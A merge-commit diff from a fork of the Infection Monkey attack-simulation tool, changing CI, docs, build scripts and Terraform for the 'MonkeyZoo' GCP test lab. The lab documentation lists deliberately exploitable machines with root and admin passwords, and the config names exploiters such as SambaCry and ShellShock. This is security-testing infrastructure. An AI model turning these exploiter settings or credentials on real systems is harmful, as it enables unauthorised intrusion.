forked from p34709852/monkey
Merge remote-tracking branch 'upstream/develop' into 393/python-3
# Conflicts: # monkey/infection_monkey/exploit/rdpgrinder.py # monkey/infection_monkey/exploit/sshexec.py # monkey/infection_monkey/exploit/tools.py # monkey/infection_monkey/requirements_windows.txt # monkey/infection_monkey/transport/http.py # monkey/monkey_island/cc/models/__init__.py # monkey/monkey_island/cc/models/monkey_test.py # monkey/monkey_island/cc/services/attack/technique_reports/T1110.py # monkey/monkey_island/cc/services/reporting/report.py
This commit is contained in:
commit
1eac005563
|
@ -3,12 +3,6 @@ language: python
|
|||
cache: pip
|
||||
python:
|
||||
- 2.7
|
||||
- 3.6
|
||||
matrix:
|
||||
include:
|
||||
- python: 3.7
|
||||
dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069)
|
||||
sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069)
|
||||
install:
|
||||
#- pip install -r requirements.txt
|
||||
- pip install flake8 # pytest # add another testing frameworks later
|
||||
|
|
|
@ -2,11 +2,13 @@
|
|||
|
||||
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
|
||||
Are you about to report a bug? Sorry to hear it. Here's our
|
||||
[Issue tracker](https://github.com/guardicore/monkey/issues).
|
||||
Please try to be as specific as you can about your problem; try to include steps
|
||||
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
|
||||
|
||||
If you want to contribute new code or fix bugs..
|
||||
If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
|
||||
maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
|
||||
|
||||
|
||||
## Submitting code
|
||||
|
@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c
|
|||
* **Don't** leave your pull request description blank.
|
||||
* **Do** license your code as GPLv3.
|
||||
|
||||
Also, please submit PRs to the develop branch.
|
||||
Also, please submit PRs to the `develop` branch.
|
||||
|
||||
#### Unit tests
|
||||
**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
|
||||
filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
|
||||
|
||||
Please try to read some of the existing unit testing code, so you can see some examples.
|
||||
|
||||
#### Branch naming scheme
|
||||
**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
|
||||
`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
|
||||
|
||||
## Issues
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
|
|
|
@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
|
|||
* Multiple exploit methods:
|
||||
* SSH
|
||||
* SMB
|
||||
* RDP
|
||||
* WMI
|
||||
* Shellshock
|
||||
* Conficker
|
||||
|
|
|
@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
|
|||
# Other directories and paths ( most likely you dont need to configure)
|
||||
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
|
||||
$MONKEY_DIR = "\monkey\infection_monkey"
|
||||
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
|
||||
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
|
||||
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
|
||||
$MK32_DLL = "mk32.dll"
|
||||
$MK64_DLL = "mk64.dll"
|
||||
|
|
|
@ -129,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error
|
|||
# Build samba
|
||||
log_message "Building samba binaries"
|
||||
sudo apt-get install gcc-multilib
|
||||
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
|
||||
cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
|
||||
sudo chmod +x ./build.sh || handle_error
|
||||
./build.sh
|
||||
|
||||
|
|
|
@ -62,7 +62,6 @@
|
|||
"exploiter_classes": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"RdpExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
|
@ -79,9 +78,6 @@
|
|||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
|
|
|
@ -58,7 +58,7 @@ Requirements:
|
|||
To deploy:
|
||||
1. Configure service account for your project:
|
||||
|
||||
a. Create a service account and name it “your\_name-monkeyZoo-user”
|
||||
a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user”
|
||||
|
||||
b. Give these permissions to your service account:
|
||||
|
||||
|
@ -74,7 +74,7 @@ To deploy:
|
|||
|
||||
**Project -> Owner**
|
||||
|
||||
c. Download its **Service account key**. Select JSON format.
|
||||
c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**.
|
||||
2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them):
|
||||
|
||||
a. **Compute Engine -\> Compute image user**
|
||||
|
@ -82,20 +82,30 @@ To deploy:
|
|||
../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to
|
||||
link to your service account key file):
|
||||
|
||||
> provider "google" {
|
||||
>
|
||||
> project = "project-28054666"
|
||||
>
|
||||
> region = "europe-west3"
|
||||
>
|
||||
> zone = "europe-west3-b"
|
||||
>
|
||||
> credentials = "${file("project-92050661-9dae6c5a02fc.json")}"
|
||||
>
|
||||
> }
|
||||
>
|
||||
> service\_account\_email="test@project-925243.iam.gserviceaccount.com"
|
||||
|
||||
provider "google" {
|
||||
|
||||
project = "test-000000" // Change to your project id
|
||||
|
||||
region = "europe-west3" // Change to your desired region or leave default
|
||||
|
||||
zone = "europe-west3-b" // Change to your desired zone or leave default
|
||||
|
||||
credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key.
|
||||
// If you followed instruction above leave it as is
|
||||
|
||||
}
|
||||
|
||||
locals {
|
||||
|
||||
resource_prefix = "" // All of the resources will have this prefix.
|
||||
// Only change if you want to have multiple zoo's in the same project
|
||||
|
||||
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email
|
||||
|
||||
monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.
|
||||
|
||||
}
|
||||
|
||||
4. Run terraform init
|
||||
|
||||
To deploy the network run:<br>
|
||||
|
@ -500,6 +510,42 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>11</strong> Tunneling M3</p>
|
||||
<p>(10.2.0.11)</p></th>
|
||||
<th>(Exploitable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 16.04.05 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>OpenSSL</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default service’s port:</td>
|
||||
<td>22</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Root password:</td>
|
||||
<td>3Q=(Ge(+&w]*</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Server’s config:</td>
|
||||
<td>Default</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible only trough Nr.10</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
|
@ -606,20 +652,16 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>2}p}aR]&=M</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Scan results:</td>
|
||||
<td>Machine exploited using RDP grinder</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Server’s config:</td>
|
||||
<td><p>Remote desktop enabled</p>
|
||||
<p>Admin user’s credentials:</p>
|
||||
<p>m0nk3y, 2}p}aR]&=M</p></td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<tr class="odd">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
|
@ -649,7 +691,7 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
</tr>
|
||||
<tr class="even">
|
||||
<td>Server’s config:</td>
|
||||
<td><p>Has cashed mimikatz-15 RDP credentials</p>
|
||||
<td><p>Has cached mimikatz-15 RDP credentials</p>
|
||||
<p><a href="https://social.technet.microsoft.com/Forums/windows/en-US/8160d62b-0f5d-48a3-9fe9-5cd319837917/how-te-reenable-smb1-in-windows1o?forum=win10itprogeneral">SMB</a> turned on</p></td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
|
|
|
@ -2,9 +2,10 @@ provider "google" {
|
|||
project = "test-000000"
|
||||
region = "europe-west3"
|
||||
zone = "europe-west3-b"
|
||||
credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
|
||||
credentials = "${file("../gcp_keys/gcp_key.json")}"
|
||||
}
|
||||
locals {
|
||||
resource_prefix = ""
|
||||
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
|
||||
monkeyzoo_project="guardicore-22050661"
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
resource "google_compute_firewall" "islands-in" {
|
||||
name = "islands-in"
|
||||
name = "${local.resource_prefix}islands-in"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
|
@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" {
|
|||
}
|
||||
|
||||
resource "google_compute_firewall" "islands-out" {
|
||||
name = "islands-out"
|
||||
name = "${local.resource_prefix}islands-out"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
|
@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" {
|
|||
}
|
||||
|
||||
resource "google_compute_firewall" "monkeyzoo-in" {
|
||||
name = "monkeyzoo-in"
|
||||
name = "${local.resource_prefix}monkeyzoo-in"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
|
@ -35,11 +35,11 @@ resource "google_compute_firewall" "monkeyzoo-in" {
|
|||
|
||||
direction = "INGRESS"
|
||||
priority = "65534"
|
||||
source_ranges = ["10.2.2.0/24"]
|
||||
source_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "monkeyzoo-out" {
|
||||
name = "monkeyzoo-out"
|
||||
name = "${local.resource_prefix}monkeyzoo-out"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
|
@ -48,11 +48,11 @@ resource "google_compute_firewall" "monkeyzoo-out" {
|
|||
|
||||
direction = "EGRESS"
|
||||
priority = "65534"
|
||||
destination_ranges = ["10.2.2.0/24"]
|
||||
destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "tunneling-in" {
|
||||
name = "tunneling-in"
|
||||
name = "${local.resource_prefix}tunneling-in"
|
||||
network = "${google_compute_network.tunneling.name}"
|
||||
|
||||
allow {
|
||||
|
@ -60,11 +60,11 @@ resource "google_compute_firewall" "tunneling-in" {
|
|||
}
|
||||
|
||||
direction = "INGRESS"
|
||||
source_ranges = ["10.2.1.0/28"]
|
||||
source_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "tunneling-out" {
|
||||
name = "tunneling-out"
|
||||
name = "${local.resource_prefix}tunneling-out"
|
||||
network = "${google_compute_network.tunneling.name}"
|
||||
|
||||
allow {
|
||||
|
@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" {
|
|||
}
|
||||
|
||||
direction = "EGRESS"
|
||||
destination_ranges = ["10.2.1.0/28"]
|
||||
destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
|
||||
}
|
||||
resource "google_compute_firewall" "tunneling2-in" {
|
||||
name = "${local.resource_prefix}tunneling2-in"
|
||||
network = "${google_compute_network.tunneling2.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "INGRESS"
|
||||
source_ranges = ["10.2.1.0/27"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "tunneling2-out" {
|
||||
name = "${local.resource_prefix}tunneling2-out"
|
||||
network = "${google_compute_network.tunneling2.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "EGRESS"
|
||||
destination_ranges = ["10.2.1.0/27"]
|
||||
}
|
||||
|
|
|
@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" {
|
|||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "tunneling-9" {
|
||||
name = "tunneling-9-v2"
|
||||
name = "tunneling-9"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "tunneling-10" {
|
||||
name = "tunneling-10-v2"
|
||||
name = "tunneling-10"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "tunneling-11" {
|
||||
name = "tunneling-11"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "sshkeys-11" {
|
||||
name = "sshkeys-11-v2"
|
||||
name = "sshkeys-11"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "sshkeys-12" {
|
||||
name = "sshkeys-12-v2"
|
||||
name = "sshkeys-12"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "mimikatz-14" {
|
||||
name = "mimikatz-14-v2"
|
||||
name = "mimikatz-14"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "mimikatz-15" {
|
||||
|
@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" {
|
|||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "weblogic-19" {
|
||||
name = "weblogic-19-v2"
|
||||
name = "weblogic-19"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "smb-20" {
|
||||
|
@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" {
|
|||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "struts2-24" {
|
||||
name = "struts-24-v2"
|
||||
name = "struts2-24"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "island-linux-250" {
|
||||
|
@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" {
|
|||
data "google_compute_image" "island-windows-251" {
|
||||
name = "island-windows-251"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
}
|
||||
|
|
|
@ -6,29 +6,40 @@ locals {
|
|||
}
|
||||
|
||||
resource "google_compute_network" "monkeyzoo" {
|
||||
name = "monkeyzoo"
|
||||
name = "${local.resource_prefix}monkeyzoo"
|
||||
auto_create_subnetworks = false
|
||||
}
|
||||
|
||||
resource "google_compute_network" "tunneling" {
|
||||
name = "tunneling"
|
||||
name = "${local.resource_prefix}tunneling"
|
||||
auto_create_subnetworks = false
|
||||
}
|
||||
|
||||
resource "google_compute_network" "tunneling2" {
|
||||
name = "${local.resource_prefix}tunneling2"
|
||||
auto_create_subnetworks = false
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "monkeyzoo-main" {
|
||||
name = "monkeyzoo-main"
|
||||
name = "${local.resource_prefix}monkeyzoo-main"
|
||||
ip_cidr_range = "10.2.2.0/24"
|
||||
network = "${google_compute_network.monkeyzoo.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "tunneling-main" {
|
||||
name = "tunneling-main"
|
||||
name = "${local.resource_prefix}tunneling-main"
|
||||
ip_cidr_range = "10.2.1.0/28"
|
||||
network = "${google_compute_network.tunneling.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "tunneling2-main" {
|
||||
name = "${local.resource_prefix}tunneling2-main"
|
||||
ip_cidr_range = "10.2.0.0/27"
|
||||
network = "${google_compute_network.tunneling2.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "hadoop-2" {
|
||||
name = "hadoop-2"
|
||||
name = "${local.resource_prefix}hadoop-2"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -37,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.2"
|
||||
}
|
||||
// Add required ssh keys for hadoop service and restart it
|
||||
|
@ -45,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
|
|||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "hadoop-3" {
|
||||
name = "hadoop-3"
|
||||
name = "${local.resource_prefix}hadoop-3"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -54,13 +65,13 @@ resource "google_compute_instance_from_template" "hadoop-3" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.3"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "elastic-4" {
|
||||
name = "elastic-4"
|
||||
name = "${local.resource_prefix}elastic-4"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -69,13 +80,13 @@ resource "google_compute_instance_from_template" "elastic-4" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.4"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "elastic-5" {
|
||||
name = "elastic-5"
|
||||
name = "${local.resource_prefix}elastic-5"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -84,14 +95,14 @@ resource "google_compute_instance_from_template" "elastic-5" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.5"
|
||||
}
|
||||
}
|
||||
|
||||
/* Couldn't find ubuntu packages for required samba version (too old).
|
||||
resource "google_compute_instance_from_template" "sambacry-6" {
|
||||
name = "sambacry-6"
|
||||
name = "${local.resource_prefix}sambacry-6"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -99,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
|
|||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.6"
|
||||
}
|
||||
}
|
||||
|
@ -107,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
|
|||
|
||||
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
|
||||
resource "google_compute_instance_from_template" "sambacry-7" {
|
||||
name = "sambacry-7"
|
||||
name = "${local.resource_prefix}sambacry-7"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk {
|
||||
initialize_params {
|
||||
|
@ -116,14 +127,14 @@ resource "google_compute_instance_from_template" "sambacry-7" {
|
|||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.7"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "shellshock-8" {
|
||||
name = "shellshock-8"
|
||||
name = "${local.resource_prefix}shellshock-8"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -132,13 +143,13 @@ resource "google_compute_instance_from_template" "shellshock-8" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.8"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-9" {
|
||||
name = "tunneling-9"
|
||||
name = "${local.resource_prefix}tunneling-9"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -147,18 +158,17 @@ resource "google_compute_instance_from_template" "tunneling-9" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="tunneling-main"
|
||||
subnetwork="${local.resource_prefix}tunneling-main"
|
||||
network_ip="10.2.1.9"
|
||||
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.9"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-10" {
|
||||
name = "tunneling-10"
|
||||
name = "${local.resource_prefix}tunneling-10"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -167,13 +177,32 @@ resource "google_compute_instance_from_template" "tunneling-10" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="tunneling-main"
|
||||
subnetwork="${local.resource_prefix}tunneling-main"
|
||||
network_ip="10.2.1.10"
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="${local.resource_prefix}tunneling2-main"
|
||||
network_ip="10.2.0.10"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-11" {
|
||||
name = "${local.resource_prefix}tunneling-11"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.tunneling-11.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="${local.resource_prefix}tunneling2-main"
|
||||
network_ip="10.2.0.11"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "sshkeys-11" {
|
||||
name = "sshkeys-11"
|
||||
name = "${local.resource_prefix}sshkeys-11"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -182,13 +211,13 @@ resource "google_compute_instance_from_template" "sshkeys-11" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.11"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "sshkeys-12" {
|
||||
name = "sshkeys-12"
|
||||
name = "${local.resource_prefix}sshkeys-12"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -197,14 +226,14 @@ resource "google_compute_instance_from_template" "sshkeys-12" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.12"
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
resource "google_compute_instance_from_template" "rdpgrinder-13" {
|
||||
name = "rdpgrinder-13"
|
||||
name = "${local.resource_prefix}rdpgrinder-13"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -212,14 +241,14 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" {
|
|||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.13"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "mimikatz-14" {
|
||||
name = "mimikatz-14"
|
||||
name = "${local.resource_prefix}mimikatz-14"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -228,13 +257,13 @@ resource "google_compute_instance_from_template" "mimikatz-14" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.14"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "mimikatz-15" {
|
||||
name = "mimikatz-15"
|
||||
name = "${local.resource_prefix}mimikatz-15"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -243,13 +272,13 @@ resource "google_compute_instance_from_template" "mimikatz-15" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.15"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "mssql-16" {
|
||||
name = "mssql-16"
|
||||
name = "${local.resource_prefix}mssql-16"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -258,14 +287,14 @@ resource "google_compute_instance_from_template" "mssql-16" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.16"
|
||||
}
|
||||
}
|
||||
|
||||
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
|
||||
resource "google_compute_instance_from_template" "upgrader-17" {
|
||||
name = "upgrader-17"
|
||||
name = "${local.resource_prefix}upgrader-17"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -273,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
|
|||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.17"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing
|
||||
|
@ -284,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
|
|||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "weblogic-18" {
|
||||
name = "weblogic-18"
|
||||
name = "${local.resource_prefix}weblogic-18"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -293,13 +322,13 @@ resource "google_compute_instance_from_template" "weblogic-18" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.18"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "weblogic-19" {
|
||||
name = "weblogic-19"
|
||||
name = "${local.resource_prefix}weblogic-19"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -308,13 +337,13 @@ resource "google_compute_instance_from_template" "weblogic-19" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.19"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "smb-20" {
|
||||
name = "smb-20"
|
||||
name = "${local.resource_prefix}smb-20"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -323,13 +352,13 @@ resource "google_compute_instance_from_template" "smb-20" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.20"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "scan-21" {
|
||||
name = "scan-21"
|
||||
name = "${local.resource_prefix}scan-21"
|
||||
source_instance_template = "${local.default_ubuntu}"
